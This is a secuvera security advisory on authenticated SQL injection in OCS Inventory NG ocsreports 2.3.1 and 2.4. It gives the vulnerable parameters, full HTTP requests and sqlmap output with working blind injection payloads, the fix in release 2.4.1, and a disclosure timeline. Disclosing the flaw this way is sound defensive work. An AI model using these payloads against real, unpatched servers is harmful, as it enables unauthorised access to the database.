Affected Products OCS Inventory NG ocsreports 2.4 OCS Inventory NG ocsreports 2.3.1 (older/other releases have not been tested) References https://www.secuvera.de/advisories/secuvera-SA-2017-04.txt (used for updates) https://www.ocsinventory-ng.org/en/ocs-inventory-server-2-4-1-has-been-released/ (Release announcement of OCS Inventory 2.4.1) Summary: Open Computer and Software Inventory Next Generation (OCS inventory NG) is free software that enables users to inventory IT assets. (Source: Wikipedia) OCS Reports for OCS Inventory is a web application to manage the OCS Inventory Server and Clients. The web application is prone to SQL injection (SQLi) attacks. Effect: An authenticated attacker is able to gain full access to data stored within database. Vulnerable Scripts: 1) index.php: Function "visu_search" ("Search with various criteria") GET-parameter "value" 2) ajax.php: Function "visu_groups" POST-parameter "columns%5B0%5D%5Bname%5D" ("columns[0][name]" not url-encoded style for better reading) Examples: 1) The following request of an authenticated readonly user was used in conjunction with sqlmap to exploit the issue: GET /index.php?function=visu_search&prov=allsoft&value=somesoft HTTP/1.1 Host: <HOST> Cookie: PHPSESSID=<Valid Session Identifyer>; VERS=7011; Connection: close SQLMap Output: sqlmap identified the following injection point(s) with a total of 232 HTTP(s) requests: --- Parameter: value (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: function=visu_search&prov=allsoft&value=somesoft' AND 6455=6455 AND 'Ymqk'='Ymqk Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: function=visu_search&prov=allsoft&value=somesoft' AND SLEEP(5) AND 'LhKg'='LhKg --- 2) POST /ajax.php?function=visu_groups&no_header=true&no_footer=true HTTP/1.1 Host: <HOST> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1434 Cookie: PHPSESSID=<Valid Session Identifier>; VERS=7011; Connection: close draw=4&columns%5B0%5D%5Bdata%5D=NAME&columns%5B0%5D%5Bname%5D=h.NAME&columns%5B0%5D%5Bsearchable%5D=true&\ columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&\ columns%5B1%5D%5Bdata%5D=ID&columns%5B1%5D%5Bname%5D=h.ID&columns%5B1%5D%5Bsearchable%5D=true&\ columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&\ columns%5B2%5D%5Bdata%5D=DESCRIPTION&columns%5B2%5D%5Bname%5D=h.DESCRIPTION&columns%5B2%5D%5Bsearchable%5D=true&\ columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&\ columns%5B3%5D%5Bdata%5D=LASTDATE&columns%5B3%5D%5Bname%5D=h.LASTDATE&columns%5B3%5D%5Bsearchable%5D=true&\ columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&\ columns%5B4%5D%5Bdata%5D=NBRE&columns%5B4%5D%5Bname%5D=NBRE&columns%5B4%5D%5Bsearchable%5D=false&columns%5B4%5D%5Borderable%5D=false&\ columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&\ start=0&length=10&search%5Bvalue%5D=PENTESTME&search%5Bregex%5D=false&CSRF_85=8cfd903726e71489fd6afc44e9f3bfc002b598e0&SUP_COL=&RAZ=&\ LANG=&CONFIRM_CHECK=&onglet=STAT&visible_col%5B%5D=0&visible_col%5B%5D=1&visible_col%5B%5D=2&visible_col%5B%5D=3&visible_col%5B%5D=4&ocs%5B%5D=&\ <VALID Anti-CSRF-Token> SQLMap Output: sqlmap identified the following injection point(s) with a total of 232 HTTP(s) requests: --- Parameter: columns%5B0%5D%5Bname%5D (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: draw=4&columns%5B0%5D%5Bdata%5D=NAME&columns%5B0%5D%5Bname%5D=h.NAME' AND SLEEP(5) AND 'LhKg'='LhKg&columns%5B0%5D%5Bsearchable%5D=true&\ columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&\ columns%5B1%5D%5Bdata%5D=ID&columns%5B1%5D%5Bname%5D=h.ID&columns%5B1%5D%5Bsearchable%5D=true&\ columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&\ columns%5B2%5D%5Bdata%5D=DESCRIPTION&columns%5B2%5D%5Bname%5D=h.DESCRIPTION&columns%5B2%5D%5Bsearchable%5D=true&\ columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&\ columns%5B3%5D%5Bdata%5D=LASTDATE&columns%5B3%5D%5Bname%5D=h.LASTDATE&columns%5B3%5D%5Bsearchable%5D=true&\ columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&\ columns%5B4%5D%5Bdata%5D=NBRE&columns%5B4%5D%5Bname%5D=NBRE&columns%5B4%5D%5Bsearchable%5D=false&columns%5B4%5D%5Borderable%5D=false&\ columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&\ start=0&length=10&search%5Bvalue%5D=PENTESTME&search%5Bregex%5D=false&CSRF_85=8cfd903726e71489fd6afc44e9f3bfc002b598e0&SUP_COL=&RAZ=&\ LANG=&CONFIRM_CHECK=&onglet=STAT&visible_col%5B%5D=0&visible_col%5B%5D=1&visible_col%5B%5D=2&visible_col%5B%5D=3&visible_col%5B%5D=4&ocs%5B%5D=&\ <VALID Anti-CSRF-Token> --- Solution: Install OCS Inventory Release 2.4.1 or newer. Disclosure Timeline: 2017/12/15 vendor contacted, asked for security contact information 2018/01/02 contacted vendor again after no answer was received so far 2018/01/02 response of responsible contact 2018/01/22 Sent technical details 2018/02/12 Developer replied proposing fix 2018/03/28 Developer contacted us to announce the upcoming release 2018/04/05 OCS Version 2.4.1 was released 2018/08/09 Release of the security advisory Credits Simon Bieber, secuvera GmbH sbieber@xxxxxxxxxxx https://www.secuvera.de Thanks to: Michael Hermann, secuvera GmbH for his support! Gilles Dubois and Damien Belliard, factorfx for fixing this issue! Disclaimer: All information is provided without warranty. The intent is to provide informa- tion to secure infrastructure and/or systems, not to be able to attack or damage. Therefore secuvera shall not be liable for any direct or indirect damages that might be caused by using this information.